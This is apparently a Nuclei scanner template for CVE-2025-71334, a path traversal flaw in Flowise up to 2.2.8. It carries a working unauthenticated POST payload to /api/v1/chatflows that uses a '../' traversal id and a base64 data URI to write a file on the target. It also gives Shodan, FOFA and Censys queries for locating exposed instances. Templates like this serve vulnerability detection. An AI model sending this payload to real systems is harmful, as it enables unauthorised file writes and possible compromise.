id: CVE-2025-71334

info:
  name: Flowise - Path Traversal
  author: theamanrawat
  severity: critical
  description: |
    Flowise <= 2.2.8 contains a path traversal vulnerability caused by missing validation of chatflowId and chatId parameters in file handling, letting unauthenticated attackers read and write arbitrary files, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can read and write arbitrary files, potentially leading to remote code execution and full system compromise.
  remediation: |
    Update to version 3.0.6 or later.
  reference:
    - https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-q67q-549q-p849
    - https://nvd.nist.gov/vuln/detail/CVE-2025-71334
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-71334
    epss-score: 0.03903
    epss-percentile: 0.89232
    cwe-id: CWE-73
  metadata:
    verified: true
    max-request: 2
    vendor: flowiseai
    product: flowise
    shodan-query: title:"Flowise"
    fofa-query: title="Flowise"
    censys-query: services.http.response.html_title="Flowise"
  tags: cve,cve2025,flowise,lfi,path-traversal,file-write,vkev,intrusive

variables:
  name: "{{randstr}}"

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/"

    matchers:
      - type: word
        part: body
        words:
          - "Flowise"
        case-insensitive: true
        internal: true

  - method: POST
    path:
      - "{{BaseURL}}/api/v1/chatflows"

    headers:
      Content-Type: application/json
      x-request-from: internal

    body: |
      {"id":"../../../../../../../../tmp","name":"{{name}}","deployed":false,"isPublic":false,"flowData":"{\"nodes\":[{\"id\":\"a\",\"data\":{\"category\":\"Document Loaders\",\"inputs\":{\"key\":\"data:text/plain;base64,bnVjbGVpLWN2ZS0yMDI1LTcxMzM0,a:{{name}}.txt\"}}}],\"edges\":[],\"viewport\":{\"x\":1,\"y\":1,\"zoom\":1}}","chatbotConfig":null,"apiConfig":null,"analytic":null,"speechToText":null,"type":"CHATFLOW"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "FILE-STORAGE::"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - '\\"FILE-STORAGE::\[\\\\\\"(.*?)\\\\\\"\]\\"'
# digest: 4a0a004730450221009da16f1bb01e50433a650fb40cc3ab637e7f93086caa8eef921c1741d67e301c02200b9f51c2d763803a7c7644c8b7476e02edfede4ba64b76d0f3dfe10cf5896817:922c64590222798bb761d5b6d8e72950